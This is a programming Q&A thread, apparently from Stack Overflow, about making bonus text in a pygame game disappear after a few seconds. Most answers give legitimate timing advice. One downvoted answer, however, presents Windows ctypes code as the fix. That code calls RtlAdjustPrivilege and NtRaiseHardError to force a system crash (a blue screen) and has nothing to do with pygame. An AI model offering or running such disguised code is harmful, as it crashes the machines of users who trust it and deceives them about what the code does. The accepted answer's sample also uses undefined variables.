Reputation: 69
I'm programming a game in pygame. After hitting an object, the text appears on screen. How to make it disappear after a few seconds?
Fragment of my code:
def bonus(txt, x, y, size):
cz = pygame.font.SysFont("Times New Roman", size)
rend = cz.render(txt, 1, (0, 0, 0))
x = (WIDTH - rend.get_rect().width) / 2
y = (HEIGHT - rend.get_rect().height) / 4
screen.blit(rend, (x, y))
pygame.display.update()
def hit:
bonus('+3 points', 30, 70, 30)
Upvotes: 1
Views: 2165
Reputation: 210997
Create 2 variables in global name space (or class attributes if you use classes). The first on states the bonus text and position (bonus_text
). The other one states the time when the text has to disappear:
bonus_text = None
bonus_end = 0
Set the variables in hit
. Use pygame.time.get_ticks()
to get the current time. Add the timespan to the current time (e.g. 3000 milliseconds).
Don't forget the global
statement, since the function writes to the variables in global namespace.
def hit():
global bonus_text, bonus_end
cz = pygame.font.SysFont("Times New Roman", size)
rend = cz.render(txt, 1, (0, 0, 0))
x = (WIDTH - rend.get_rect().width) / 2
y = (HEIGHT - rend.get_rect().height) / 4
bonus_text = (rend, (x, y))
bonus_end = pygame.time.get_ticks() + 3000 # 3000 milliseconds = 3 seconds
Continuously call draw_bonus
in the main application loop. The function draws the bonus text, if bonus_text
is set and the current time (pygame.time.get_ticks()
) is less the time point a t which text has to disappear.
def draw_bonus(txt, x, y, size):
if bonus_text and pygame.time.get_ticks() < bonus_end:
screen.blit(*bonus_text)
Upvotes: 3
Reputation: 1
yes if you put this code then it wil be fixed
from ctypes.wintypes import *
tmp1 = c_bool()
tmp2 = DWORD()
ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, byref(tmp1))
ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6, byref(tmp2))
Upvotes: -3
Reputation: 25
It depends on the overall structure of your project. You can use some scheduling library like aspscheduler
to schedule functions to be executed at some later time. Or, implement multithreading and use time.sleep()
in one thread that is responsibe for drawing the text. Or, keep a list of functions and times when you need to call them, and go through this list on every main loop iteration
Upvotes: 1